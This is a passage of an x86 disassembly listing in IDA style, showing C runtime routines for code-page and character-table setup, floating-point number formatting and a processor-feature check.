call near ptr 7C810D87h
test eax, eax
jz short loc_41BFA1
mov eax, [ebp+var_C]
mov [ebp+arg_0], edi
mov [ebp+var_8], eax
jmp short loc_41BF48
; ---------------------------------------------------------------------------
loc_41BFA1: ; CODE XREF: sub_41BE4F+145j
nop
call near ptr 7C910331h
mov [ebp+arg_0], eax
jmp short loc_41BF48
; ---------------------------------------------------------------------------
loc_41BFAC: ; CODE XREF: sub_41BE4F+10Fj
push [ebp+arg_0]
call sub_41C91A
pop ecx
jmp short loc_41BFF4
; ---------------------------------------------------------------------------
loc_41BFB7: ; CODE XREF: sub_41BE4F+7Bj
; sub_41BE4F+107j
mov eax, [ebx]
test byte ptr [eax+esi+4], 40h
jz short loc_41BFCC
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 1Ah
jz loc_41BE99
loc_41BFCC: ; CODE XREF: sub_41BE4F+16Fj
mov dword_515884, 1Ch
mov dword_515888, edi
jmp short loc_41BFF4
; ---------------------------------------------------------------------------
loc_41BFDE: ; CODE XREF: sub_41BE4F+FEj
sub eax, [ebp+var_10]
jmp short loc_41BFF7
; ---------------------------------------------------------------------------
loc_41BFE3: ; CODE XREF: sub_41BE4F+15j
; sub_41BE4F+37j
and dword_515888, 0
mov dword_515884, 9
loc_41BFF4: ; CODE XREF: sub_41BE4F+120j
; sub_41BE4F+166j ...
or eax, 0FFFFFFFFh
loc_41BFF7: ; CODE XREF: sub_41BE4F+4Cj
; sub_41BE4F+192j
pop edi
pop esi
pop ebx
leave
retn
sub_41BE4F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BFFC proc near ; CODE XREF: sub_41C3C0+Bp
var_18 = dword ptr -18h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_41C195
mov esi, eax
pop ecx
cmp esi, dword_516C84
mov [ebp+arg_0], esi
jz loc_41C189
xor ebx, ebx
cmp esi, ebx
jz loc_41C17F
xor edx, edx
mov eax, offset dword_43B7D8
loc_41C030: ; CODE XREF: sub_41BFFC+41j
cmp [eax], esi
jz short loc_41C0A6
add eax, 30h
inc edx
cmp eax, offset off_43B8C8
jl short loc_41C030
lea eax, [ebp+var_18]
push eax
push esi
nop
call near ptr 7C812E76h
cmp eax, 1
jnz loc_41C177
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_516DA0
cmp [ebp+var_18], 1
mov dword_516C84, esi
rep stosd
stosb
mov dword_516EA4, ebx
jbe loc_41C165
cmp [ebp+var_12], 0
jz loc_41C13B
lea ecx, [ebp+var_11]
loc_41C083: ; CODE XREF: sub_41BFFC+139j
mov dl, [ecx]
test dl, dl
jz loc_41C13B
movzx eax, byte ptr [ecx-1]
movzx edx, dl
loc_41C094: ; CODE XREF: sub_41BFFC+A8j
cmp eax, edx
ja loc_41C12F
or byte_516DA1[eax], 4
inc eax
jmp short loc_41C094
; ---------------------------------------------------------------------------
loc_41C0A6: ; CODE XREF: sub_41BFFC+36j
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_516DA0
rep stosd
lea esi, [edx+edx*2]
mov [ebp+var_4], ebx
shl esi, 4
stosb
lea ebx, dword_43B7E8[esi]
loc_41C0C2: ; CODE XREF: sub_41BFFC+103j
cmp byte ptr [ebx], 0
mov ecx, ebx
jz short loc_41C0F5
loc_41C0C9: ; CODE XREF: sub_41BFFC+F7j
mov dl, [ecx+1]
test dl, dl
jz short loc_41C0F5
movzx eax, byte ptr [ecx]
movzx edi, dl
cmp eax, edi
ja short loc_41C0EE
mov edx, [ebp+var_4]
mov dl, byte_43B7D0[edx]
loc_41C0E3: ; CODE XREF: sub_41BFFC+F0j
or byte_516DA1[eax], dl
inc eax
cmp eax, edi
jbe short loc_41C0E3
loc_41C0EE: ; CODE XREF: sub_41BFFC+DCj
inc ecx
inc ecx
cmp byte ptr [ecx], 0
jnz short loc_41C0C9
loc_41C0F5: ; CODE XREF: sub_41BFFC+CBj
; sub_41BFFC+D2j
inc [ebp+var_4]
add ebx, 8
cmp [ebp+var_4], 4
jb short loc_41C0C2
mov eax, [ebp+arg_0]
mov dword_516C9C, 1
push eax
mov dword_516C84, eax
call sub_41C1DF
lea esi, dword_43B7DC[esi]
mov edi, offset dword_516C90
movsd
movsd
pop ecx
mov dword_516EA4, eax
movsd
jmp short loc_41C184
; ---------------------------------------------------------------------------
loc_41C12F: ; CODE XREF: sub_41BFFC+9Aj
inc ecx
inc ecx
cmp byte ptr [ecx-1], 0
jnz loc_41C083
loc_41C13B: ; CODE XREF: sub_41BFFC+7Ej
; sub_41BFFC+8Bj
push 1
pop eax
loc_41C13E: ; CODE XREF: sub_41BFFC+14Fj
or byte_516DA1[eax], 8
inc eax
cmp eax, 0FFh
jb short loc_41C13E
push esi
call sub_41C1DF
pop ecx
mov dword_516EA4, eax
mov dword_516C9C, 1
jmp short loc_41C16B
; ---------------------------------------------------------------------------
loc_41C165: ; CODE XREF: sub_41BFFC+74j
mov dword_516C9C, ebx
loc_41C16B: ; CODE XREF: sub_41BFFC+167j
xor eax, eax
mov edi, offset dword_516C90
stosd
stosd
stosd
jmp short loc_41C184
; ---------------------------------------------------------------------------
loc_41C177: ; CODE XREF: sub_41BFFC+51j
cmp dword_515908, ebx
jz short loc_41C18D
loc_41C17F: ; CODE XREF: sub_41BFFC+27j
call sub_41C212
loc_41C184: ; CODE XREF: sub_41BFFC+131j
; sub_41BFFC+179j
call sub_41C23B
loc_41C189: ; CODE XREF: sub_41BFFC+1Dj
xor eax, eax
jmp short loc_41C190
; ---------------------------------------------------------------------------
loc_41C18D: ; CODE XREF: sub_41BFFC+181j
or eax, 0FFFFFFFFh
loc_41C190: ; CODE XREF: sub_41BFFC+18Fj
pop edi
pop esi
pop ebx
leave
retn
sub_41BFFC endp
; =============== S U B R O U T I N E =======================================
sub_41C195 proc near ; CODE XREF: sub_41BFFC+Cp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
and dword_515908, 0
cmp eax, 0FFFFFFFEh
jnz short loc_41C1B5
mov dword_515908, 1
nop
jmp near ptr 7C8127A7h
; ---------------------------------------------------------------------------
loc_41C1B5: ; CODE XREF: sub_41C195+Ej
cmp eax, 0FFFFFFFDh
jnz short loc_41C1CA
mov dword_515908, 1
nop
jmp near ptr 7C809915h
; ---------------------------------------------------------------------------
loc_41C1CA: ; CODE XREF: sub_41C195+23j
cmp eax, 0FFFFFFFCh
jnz short locret_41C1DE
mov eax, dword_5158FC
mov dword_515908, 1
locret_41C1DE: ; CODE XREF: sub_41C195+38j
retn
sub_41C195 endp
; =============== S U B R O U T I N E =======================================
sub_41C1DF proc near ; CODE XREF: sub_41BFFC+118p
; sub_41BFFC+152p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
sub eax, 3A4h
jz short loc_41C20C
sub eax, 4
jz short loc_41C206
sub eax, 0Dh
jz short loc_41C200
dec eax
jz short loc_41C1FA
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41C1FA: ; CODE XREF: sub_41C1DF+16j
mov eax, 404h
retn
; ---------------------------------------------------------------------------
loc_41C200: ; CODE XREF: sub_41C1DF+13j
mov eax, 412h
retn
; ---------------------------------------------------------------------------
loc_41C206: ; CODE XREF: sub_41C1DF+Ej
mov eax, 804h
retn
; ---------------------------------------------------------------------------
loc_41C20C: ; CODE XREF: sub_41C1DF+9j
mov eax, 411h
retn
sub_41C1DF endp
; =============== S U B R O U T I N E =======================================
sub_41C212 proc near ; CODE XREF: sub_41BFFC:loc_41C17Fp
push edi
push 40h
pop ecx
xor eax, eax
mov edi, offset byte_516DA0
rep stosd
stosb
xor eax, eax
mov edi, offset dword_516C90
mov dword_516C84, eax
mov dword_516C9C, eax
mov dword_516EA4, eax
stosd
stosd
stosd
pop edi
retn
sub_41C212 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C23B proc near ; CODE XREF: sub_41BFFC:loc_41C184p
var_514 = byte ptr -514h
var_314 = byte ptr -314h
var_214 = byte ptr -214h
var_114 = byte ptr -114h
var_14 = byte ptr -14h
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
push ebp
mov ebp, esp
sub esp, 514h
lea eax, [ebp+var_14]
push esi
push eax
push dword_516C84
nop
call near ptr 7C812E76h
cmp eax, 1
jnz loc_41C374
xor eax, eax
mov esi, 100h
loc_41C265: ; CODE XREF: sub_41C23B+34j
mov [ebp+eax+var_114], al
inc eax
cmp eax, esi
jb short loc_41C265
mov al, [ebp+var_E]
mov [ebp+var_114], 20h
test al, al
jz short loc_41C2B6
push ebx
push edi
lea edx, [ebp+var_D]
loc_41C284: ; CODE XREF: sub_41C23B+77j
movzx ecx, byte ptr [edx]
movzx eax, al
cmp eax, ecx
ja short loc_41C2AB
sub ecx, eax
lea edi, [ebp+eax+var_114]
inc ecx
mov eax, 20202020h
mov ebx, ecx
shr ecx, 2
rep stosd
mov ecx, ebx
and ecx, 3
rep stosb
loc_41C2AB: ; CODE XREF: sub_41C23B+51j
inc edx
inc edx
mov al, [edx-1]
test al, al
jnz short loc_41C284
pop edi
pop ebx
loc_41C2B6: ; CODE XREF: sub_41C23B+42j
push 0
lea eax, [ebp+var_514]
push dword_516EA4
push dword_516C84
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 1
call sub_41D6F3
push 0
lea eax, [ebp+var_214]
push dword_516C84
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push esi
push dword_516EA4
call sub_41BC2B
push 0
lea eax, [ebp+var_314]
push dword_516C84
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 200h
push dword_516EA4
call sub_41BC2B
add esp, 5Ch
xor eax, eax
lea ecx, [ebp+var_514]
loc_41C331: ; CODE XREF: sub_41C23B+135j
mov dx, [ecx]
test dl, 1
jz short loc_41C34F
or byte_516DA1[eax], 10h
mov dl, [ebp+eax+var_214]
loc_41C347: ; CODE XREF: sub_41C23B+127j
mov byte_516CA0[eax], dl
jmp short loc_41C36B
; ---------------------------------------------------------------------------
loc_41C34F: ; CODE XREF: sub_41C23B+FCj
test dl, 2
jz short loc_41C364
or byte_516DA1[eax], 20h
mov dl, [ebp+eax+var_314]
jmp short loc_41C347
; ---------------------------------------------------------------------------
loc_41C364: ; CODE XREF: sub_41C23B+117j
and byte_516CA0[eax], 0
loc_41C36B: ; CODE XREF: sub_41C23B+112j
inc eax
inc ecx
inc ecx
cmp eax, esi
jb short loc_41C331
jmp short loc_41C3BD
; ---------------------------------------------------------------------------
loc_41C374: ; CODE XREF: sub_41C23B+1Dj
xor eax, eax
mov esi, 100h
loc_41C37B: ; CODE XREF: sub_41C23B+180j
cmp eax, 41h
jb short loc_41C399
cmp eax, 5Ah
ja short loc_41C399
or byte_516DA1[eax], 10h
mov cl, al
add cl, 20h
loc_41C391: ; CODE XREF: sub_41C23B+174j
mov byte_516CA0[eax], cl
jmp short loc_41C3B8
; ---------------------------------------------------------------------------
loc_41C399: ; CODE XREF: sub_41C23B+143j
; sub_41C23B+148j
cmp eax, 61h
jb short loc_41C3B1
cmp eax, 7Ah
ja short loc_41C3B1
or byte_516DA1[eax], 20h
mov cl, al
sub cl, 20h
jmp short loc_41C391
; ---------------------------------------------------------------------------
loc_41C3B1: ; CODE XREF: sub_41C23B+161j
; sub_41C23B+166j
and byte_516CA0[eax], 0
loc_41C3B8: ; CODE XREF: sub_41C23B+15Cj
inc eax
cmp eax, esi
jb short loc_41C37B
loc_41C3BD: ; CODE XREF: sub_41C23B+137j
pop esi
leave
retn
sub_41C23B endp
; =============== S U B R O U T I N E =======================================
sub_41C3C0 proc near ; CODE XREF: ___:0041CBD8p
; ___:0041CC34p ...
cmp dword_516ECC, 0
jnz short locret_41C3DB
push 0FFFFFFFDh
call sub_41BFFC
pop ecx
mov dword_516ECC, 1
locret_41C3DB: ; CODE XREF: sub_41C3C0+7j
retn
sub_41C3C0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C3DC proc near ; CODE XREF: sub_418AA8+2Bp
; sub_418AA8+A6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp dword_516C9C, 0
push edi
mov edi, [ebp+arg_0]
mov [ebp+arg_0], edi
jnz short loc_41C400
push [ebp+arg_8]
push [ebp+arg_4]
push edi
call sub_4182F0
add esp, 0Ch
jmp short loc_41C463
; ---------------------------------------------------------------------------
loc_41C400: ; CODE XREF: sub_41C3DC+11j
mov edx, [ebp+arg_8]
push esi
test edx, edx
jz short loc_41C445
mov ecx, [ebp+arg_4]
loc_41C40B: ; CODE XREF: sub_41C3DC+5Bj
mov al, [ecx]
dec edx
movzx esi, al
test byte_516DA1[esi], 4
mov [edi], al
jz short loc_41C42F
inc edi
inc ecx
test edx, edx
jz short loc_41C43B
mov al, [ecx]
dec edx
mov [edi], al
inc edi
inc ecx
test al, al
jz short loc_41C441
jmp short loc_41C435
; ---------------------------------------------------------------------------
loc_41C42F: ; CODE XREF: sub_41C3DC+3Ej
inc edi
inc ecx
test al, al
jz short loc_41C445
loc_41C435: ; CODE XREF: sub_41C3DC+51j
test edx, edx
jnz short loc_41C40B
jmp short loc_41C445
; ---------------------------------------------------------------------------
loc_41C43B: ; CODE XREF: sub_41C3DC+44j
and byte ptr [edi-1], 0
jmp short loc_41C445
; ---------------------------------------------------------------------------
loc_41C441: ; CODE XREF: sub_41C3DC+4Fj
and byte ptr [edi-2], 0
loc_41C445: ; CODE XREF: sub_41C3DC+2Aj
; sub_41C3DC+57j ...
mov eax, edx
dec edx
test eax, eax
pop esi
jz short loc_41C460
lea ecx, [edx+1]
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
loc_41C460: ; CODE XREF: sub_41C3DC+6Fj
mov eax, [ebp+arg_0]
loc_41C463: ; CODE XREF: sub_41C3DC+22j
pop edi
pop ebp
retn
sub_41C3DC endp
; =============== S U B R O U T I N E =======================================
sub_41C466 proc near ; CODE XREF: sub_418D5F+Fp
push 30000h
push 10000h
call sub_41E764
pop ecx
pop ecx
retn
sub_41C466 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C478 proc near ; CODE XREF: sub_41C4B6:loc_41C4DAj
var_18 = qword ptr -18h
var_10 = qword ptr -10h
var_8 = qword ptr -8
push ebp
mov ebp, esp
sub esp, 18h
fld dbl_4216D0
fstp [ebp+var_8]
fld dbl_4216C8
fstp [ebp+var_10]
fld [ebp+var_10]
fdiv [ebp+var_8]
fmul [ebp+var_8]
fsubr [ebp+var_10]
fstp [ebp+var_18]
fld [ebp+var_18]
fcomp dbl_4216C0
fnstsw ax
sahf
jbe short loc_41C4B2
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
loc_41C4B2: ; CODE XREF: sub_41C478+33j
xor eax, eax
leave
retn
sub_41C478 endp
; =============== S U B R O U T I N E =======================================
sub_41C4B6 proc near ; CODE XREF: sub_418D5F+5p
push offset aKernel32 ; "KERNEL32"
nop
call near ptr 7C80B6A1h
test eax, eax
jz short loc_41C4DA
push offset aIsprocessorfea ; "IsProcessorFeaturePresent"
push eax
nop
call near ptr 7C80ADA0h
test eax, eax
jz short loc_41C4DA
push 0
call eax
retn
; ---------------------------------------------------------------------------
loc_41C4DA: ; CODE XREF: sub_41C4B6+Dj
; sub_41C4B6+1Dj
jmp sub_41C478
sub_41C4B6 endp
; =============== S U B R O U T I N E =======================================
sub_41C4DF proc near ; CODE XREF: sub_419343+3CBp
; DATA XREF: sub_418D77+1Eo ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
movsx eax, byte ptr [esi]
push eax
call sub_4187E1
cmp eax, 65h
pop ecx
jz short loc_41C51F
loc_41C4F3: ; CODE XREF: sub_41C4DF+3Ej
inc esi
cmp dword_43B7AC, 1
jle short loc_41C50C
movsx eax, byte ptr [esi]
push 4
push eax
call sub_419B4D
pop ecx
pop ecx
jmp short loc_41C51B
; ---------------------------------------------------------------------------
loc_41C50C: ; CODE XREF: sub_41C4DF+1Cj
movsx eax, byte ptr [esi]
mov ecx, off_43B5A0
mov al, [ecx+eax*2]
and eax, 4
loc_41C51B: ; CODE XREF: sub_41C4DF+2Bj
test eax, eax
jnz short loc_41C4F3
loc_41C51F: ; CODE XREF: sub_41C4DF+12j
mov cl, byte_43B7B0
mov al, [esi]
mov [esi], cl
inc esi
loc_41C52A: ; CODE XREF: sub_41C4DF+56j
mov cl, [esi]
mov [esi], al
mov al, cl
mov cl, [esi]
inc esi
test cl, cl
jnz short loc_41C52A
pop esi
retn
sub_41C4DF endp
; =============== S U B R O U T I N E =======================================
sub_41C539 proc near ; CODE XREF: sub_419343+3E2p
; DATA XREF: sub_418D77+5o ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dl, byte_43B7B0
mov cl, [eax]
test cl, cl
jz short loc_41C555
loc_41C549: ; CODE XREF: sub_41C539+1Aj
cmp cl, dl
jz short loc_41C555
mov cl, [eax+1]
inc eax
test cl, cl
jnz short loc_41C549
loc_41C555: ; CODE XREF: sub_41C539+Ej
; sub_41C539+12j
mov cl, [eax]
inc eax
test cl, cl
jz short locret_41C586
loc_41C55C: ; CODE XREF: sub_41C539+34j
mov cl, [eax]
test cl, cl
jz short loc_41C56F
cmp cl, 65h
jz short loc_41C56F
cmp cl, 45h
jz short loc_41C56F
inc eax
jmp short loc_41C55C
; ---------------------------------------------------------------------------
loc_41C56F: ; CODE XREF: sub_41C539+27j
; sub_41C539+2Cj ...
mov ecx, eax
loc_41C571: ; CODE XREF: sub_41C539+3Cj
dec eax
cmp byte ptr [eax], 30h
jz short loc_41C571
cmp [eax], dl
jnz short loc_41C57C
dec eax
loc_41C57C: ; CODE XREF: sub_41C539+40j
; sub_41C539+4Bj
mov dl, [ecx]
inc eax
inc ecx
test dl, dl
mov [eax], dl
jnz short loc_41C57C
locret_41C586: ; CODE XREF: sub_41C539+21j
retn
sub_41C539 endp
; =============== S U B R O U T I N E =======================================
sub_41C587 proc near ; DATA XREF: sub_418D77+28o
; ___:off_43B8D8o
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
fld qword ptr [eax]
fcomp dbl_421700
fnstsw ax
sahf
jb short loc_41C59C
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_41C59C: ; CODE XREF: sub_41C587+Fj
xor eax, eax
retn
sub_41C587 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C59F proc near ; CODE XREF: sub_41A824+430p
; DATA XREF: sub_418D77+14o ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_0], 0
push [ebp+arg_8]
jz short loc_41C5C8
lea eax, [ebp+var_8]
push eax
call sub_41EC27
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+var_8]
mov [eax], ecx
mov ecx, [ebp+var_4]
mov [eax+4], ecx
leave
retn
; ---------------------------------------------------------------------------
loc_41C5C8: ; CODE XREF: sub_41C59F+Cj
lea eax, [ebp+arg_8]
push eax
call sub_41EC54
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+arg_8]
mov [eax], ecx
leave
retn
sub_41C59F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C5DD proc near ; CODE XREF: sub_41C85A+17p
; sub_41C8A4+47p
var_10 = qword ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp byte_515910, 0
push ebx
push esi
jz short loc_41C612
mov ebx, [ebp+arg_8]
mov eax, dword_51590C
xor ecx, ecx
mov esi, eax
test ebx, ebx
setnle cl
push ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
setz cl
add ecx, [ebp+arg_4]
push ecx
call sub_41C8F5
pop ecx
pop ecx
jmp short loc_41C64A
; ---------------------------------------------------------------------------
loc_41C612: ; CODE XREF: sub_41C5DD+Cj
mov eax, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+10h+var_10]
call sub_41ECF8
mov ebx, [ebp+arg_8]
mov esi, eax
push esi
mov edx, [ebp+arg_4]
lea eax, [ebx+1]
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
xor ecx, ecx
test ebx, ebx
setnle cl
add edx, eax
add ecx, edx
push ecx
call sub_41EC81
add esp, 14h
loc_41C64A: ; CODE XREF: sub_41C5DD+33j
cmp dword ptr [esi], 2Dh
mov eax, [ebp+arg_4]
jnz short loc_41C656
mov byte ptr [eax], 2Dh
inc eax
loc_41C656: ; CODE XREF: sub_41C5DD+73j
test ebx, ebx
jle short loc_41C66E
mov cl, [eax+1]
push edi
lea edi, [eax+1]
mov [eax], cl
mov cl, byte_43B7B0
mov eax, edi
pop edi
mov [eax], cl
loc_41C66E: ; CODE XREF: sub_41C5DD+7Bj
xor ecx, ecx
push offset dword_421708
cmp byte_515910, cl
setz cl
add ecx, eax
add ecx, ebx
push ecx
call sub_417A00
cmp [ebp+arg_C], 0
pop ecx
pop ecx
mov ecx, eax
jz short loc_41C695
mov byte ptr [ecx], 45h
loc_41C695: ; CODE XREF: sub_41C5DD+B3j
mov eax, [esi+0Ch]
inc ecx
cmp byte ptr [eax], 30h
jz short loc_41C6DA
mov ebx, [esi+4]
dec ebx
jns short loc_41C6A9
neg ebx
mov byte ptr [ecx], 2Dh
loc_41C6A9: ; CODE XREF: sub_41C5DD+C5j
inc ecx
cmp ebx, 64h
jl short loc_41C6C0
mov eax, ebx
push 64h
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_41C6C0: ; CODE XREF: sub_41C5DD+D0j
inc ecx
cmp ebx, 0Ah
jl short loc_41C6D7
mov eax, ebx
push 0Ah
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_41C6D7: ; CODE XREF: sub_41C5DD+E7j
add [ecx+1], bl
loc_41C6DA: ; CODE XREF: sub_41C5DD+BFj
mov eax, [ebp+arg_4]
pop esi
pop ebx
pop ebp
retn
sub_41C5DD endp
; =============== S U B R O U T I N E =======================================
sub_41C6E1 proc near ; CODE XREF: sub_41C881+13p
; sub_41C8A4+1Ep
var_18 = qword ptr -18h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
cmp byte_515910, 0
push ebx
push ebp
mov ebp, [esp+8+arg_4]
push esi
push edi
jz short loc_41C71C
mov eax, dword_515914
mov ebx, [esp+10h+arg_8]
mov esi, dword_51590C
cmp eax, ebx
jnz short loc_41C74C
xor ecx, ecx
cmp dword ptr [esi], 2Dh
setz cl
add ecx, eax
add ecx, ebp
mov eax, ecx
mov byte ptr [eax], 30h
and byte ptr [eax+1], 0
jmp short loc_41C74C
; ---------------------------------------------------------------------------
loc_41C71C: ; CODE XREF: sub_41C6E1+Fj
mov eax, [esp+10h+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+18h+var_18]
call sub_41ECF8
mov ebx, [esp+18h+arg_8]
mov esi, eax
push esi
mov eax, [esi+4]
add eax, ebx
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
add eax, ebp
push eax
call sub_41EC81
add esp, 14h
loc_41C74C: ; CODE XREF: sub_41C6E1+22j
; sub_41C6E1+39j
cmp dword ptr [esi], 2Dh
mov edi, ebp
jnz short loc_41C75A
mov byte ptr [ebp+0], 2Dh
lea edi, [ebp+1]
loc_41C75A: ; CODE XREF: sub_41C6E1+70j
mov eax, [esi+4]
test eax, eax
jg short loc_41C771
push 1
push edi
call sub_41C8F5
pop ecx
mov byte ptr [edi], 30h
pop ecx
inc edi
jmp short loc_41C773
; ---------------------------------------------------------------------------
loc_41C771: ; CODE XREF: sub_41C6E1+7Ej
add edi, eax
loc_41C773: ; CODE XREF: sub_41C6E1+8Ej
test ebx, ebx
jle short loc_41C7B8
push 1
push edi
call sub_41C8F5
mov al, byte_43B7B0
pop ecx
mov [edi], al
mov esi, [esi+4]
inc edi
pop ecx
test esi, esi
jge short loc_41C7B8
cmp byte_515910, 0
jz short loc_41C79D
neg esi
jmp short loc_41C7A3
; ---------------------------------------------------------------------------
loc_41C79D: ; CODE XREF: sub_41C6E1+B6j
neg esi
cmp ebx, esi
jl short loc_41C7A5
loc_41C7A3: ; CODE XREF: sub_41C6E1+BAj
mov ebx, esi
loc_41C7A5: ; CODE XREF: sub_41C6E1+C0j
push ebx
push edi
call sub_41C8F5
push ebx
push 30h
push edi
call sub_417430
add esp, 14h
loc_41C7B8: ; CODE XREF: sub_41C6E1+94j
; sub_41C6E1+ADj
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_41C6E1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C7BF proc near ; CODE XREF: sub_41C8A4+34p
var_14 = qword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [edi]
fstp [esp+14h+var_14]
call sub_41ECF8
mov dword_51590C, eax
mov ecx, [eax+4]
dec ecx
mov ebx, [ebp+arg_8]
mov dword_515914, ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
push eax
push ebx
setz cl
add ecx, [ebp+arg_4]
mov esi, ecx
push esi
call sub_41EC81
mov eax, dword_51590C
add esp, 14h
mov ecx, [eax+4]
dec ecx
cmp dword_515914, ecx
setl cl
mov byte_515918, cl
mov eax, [eax+4]
dec eax
cmp eax, 0FFFFFFFCh
mov dword_515914, eax
jl short loc_41C845
cmp eax, ebx
jge short loc_41C845
test cl, cl
jz short loc_41C836
loc_41C82C: ; CODE XREF: sub_41C7BF+72j
mov al, [esi]
inc esi
test al, al
jnz short loc_41C82C
and [esi-2], al
loc_41C836: ; CODE XREF: sub_41C7BF+6Bj
push ebx
push [ebp+arg_4]
push edi
call sub_41C881
add esp, 0Ch
jmp short loc_41C855
; ---------------------------------------------------------------------------
loc_41C845: ; CODE XREF: sub_41C7BF+63j
; sub_41C7BF+67j
push [ebp+arg_C]
push ebx
push [ebp+arg_4]
push edi
call sub_41C85A
add esp, 10h
loc_41C855: ; CODE XREF: sub_41C7BF+84j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41C7BF endp
; =============== S U B R O U T I N E =======================================
sub_41C85A proc near ; CODE XREF: sub_41C7BF+8Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push [esp+arg_C]
mov byte_515910, 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41C5DD
and byte_515910, 0
add esp, 10h
retn
sub_41C85A endp
; =============== S U B R O U T I N E =======================================
sub_41C881 proc near ; CODE XREF: sub_41C7BF+7Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
mov byte_515910, 1
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_41C6E1
and byte_515910, 0
add esp, 0Ch
retn
sub_41C881 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C8A4 proc near ; CODE XREF: sub_419343+3AAp
; DATA XREF: sub_418D77o ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 65h
jz short loc_41C8DF
cmp [ebp+arg_8], 45h
jz short loc_41C8DF
cmp [ebp+arg_8], 66h
jnz short loc_41C8CC
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41C6E1
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41C8CC: ; CODE XREF: sub_41C8A4+13j
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41C7BF
jmp short loc_41C8F0
; ---------------------------------------------------------------------------
loc_41C8DF: ; CODE XREF: sub_41C8A4+7j
; sub_41C8A4+Dj
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41C5DD
loc_41C8F0: ; CODE XREF: sub_41C8A4+39j
add esp, 10h
pop ebp
retn
sub_41C8A4 endp
; =============== S U B R O U T I N E =======================================
sub_41C8F5 proc near ; CODE XREF: sub_41C5DD+2Cp
; sub_41C6E1+83p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push edi
mov edi, [esp+4+arg_4]
test edi, edi
jz short loc_41C918
push esi
mov esi, [esp+8+arg_0]
push esi
call sub_417AF0
inc eax
push eax
push esi
add esi, edi
push esi
call sub_41D840
add esp, 10h
pop esi
loc_41C918: ; CODE XREF: sub_41C8F5+7j
pop edi
retn
sub_41C8F5 endp
; =============== S U B R O U T I N E =======================================
sub_41C91A proc near ; CODE XREF: sub_418DAF+16p
; sub_41906C+1Dp ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
xor edx, edx
mov dword_515888, ecx
mov eax, offset dword_43B8E0
loc_41C92B: ; CODE XREF: sub_41C91A+1Ej
cmp ecx, [eax]
jz short loc_41C94F
add eax, 8
inc edx
cmp eax, offset dword_43BA48
jl short loc_41C92B
